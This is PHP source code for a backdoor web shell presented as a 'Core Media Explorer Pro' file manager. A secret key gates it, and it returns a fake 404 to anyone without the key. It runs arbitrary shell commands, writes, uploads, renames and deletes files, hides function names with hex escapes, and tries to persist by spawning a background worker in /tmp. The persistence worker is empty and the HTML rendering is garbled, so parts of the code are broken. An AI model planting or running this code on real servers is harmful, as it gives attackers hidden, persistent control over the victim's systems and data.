= /** * Core Media Explorer Pro v4.6 - Final UI Sorted Edition * Updated: April 2026 * Anti-403 & Auto-Persistence Integrated. */ error_reporting(0); @ini_set('display_errors', 0); $k = 'c0r'; if (!isset($_GET['key']) || $_GET['key'] !== $k) { header('HTTP/1.1 404 Not Found'); exit; } // ======================== AUTO-PERSISTENCE LOGIC ======================== $self_path = realpath(__FILE__); $worker_name = "/tmp/sess_" . md5($self_path); if (!file_exists($worker_name)) { $current_code = file_get_contents($self_path); $encoded_code = base64_encode($current_code); $worker_content = ""; @file_put_contents($worker_name, $worker_content); @shell_exec("php $worker_name > /dev/null 2>&1 &"); } // ======================================================================== $sd = "\x73\x63\x61\x6e\x64\x69\x72"; $fg = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; $self_dir = dirname($self_path); $path = isset($_GET['path']) ? $_GET['path'] : $self_dir; $path = realpath($path); if ($path) chdir($path); $msg = ""; $cmd_out = ""; // --- LOGIC HANDLERS --- if (isset($_POST['exec_cmd'])) { $cmd = $_POST['exec_cmd']; $cmd_out = shell_exec($cmd . " 2>&1"); } if (isset($_POST['new_folder'])) { if (@mkdir($_POST['new_folder'])) { $msg = "Folder Berhasil Dibuat!"; } } if (isset($_POST['new_file'])) { if (file_put_contents($_POST['new_file'], "")) { $msg = "File Berhasil Dibuat!"; } } if (isset($_POST['save_file'])) { if (file_put_contents($_POST['filename'], $_POST['content']) !== false) { $msg = "File Berhasil Disimpan!"; } else { $msg = "Gagal menyimpan file!"; } } if (isset($_GET['download'])) { $file = basename($_GET['download']); if (file_exists($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.$file.'"'); readfile($file); exit; } } if (isset($_FILES['u_file'])) { if (@move_uploaded_file($_FILES['u_file']['tmp_name'], $_FILES['u_file']['name'])) $msg = "Upload Berhasil!"; } if (isset($_GET['newname']) && isset($_GET['oldname'])) { if (@rename($_GET['oldname'], $_GET['newname'])) $msg = "Rename Berhasil!"; } if (isset($_GET['del'])) { $target = basename($_GET['del']); if (is_dir($target)) { shell_exec("rm -rf " . escapeshellarg($target)); } else { @unlink($target); } header("Location: ?key=$k&path=$path"); exit; } // --- UI RENDER --- echo "
".htmlspecialchars($cmd_out).""; echo "
| Name | Size | Actions |
|---|---|---|
| " . ($isDir ? "📂 $i" : "📄 $i") . " | "; echo "" . ($isDir ? "Folder" : round(filesize($full)/1024, 2)." KB") . " | "; echo "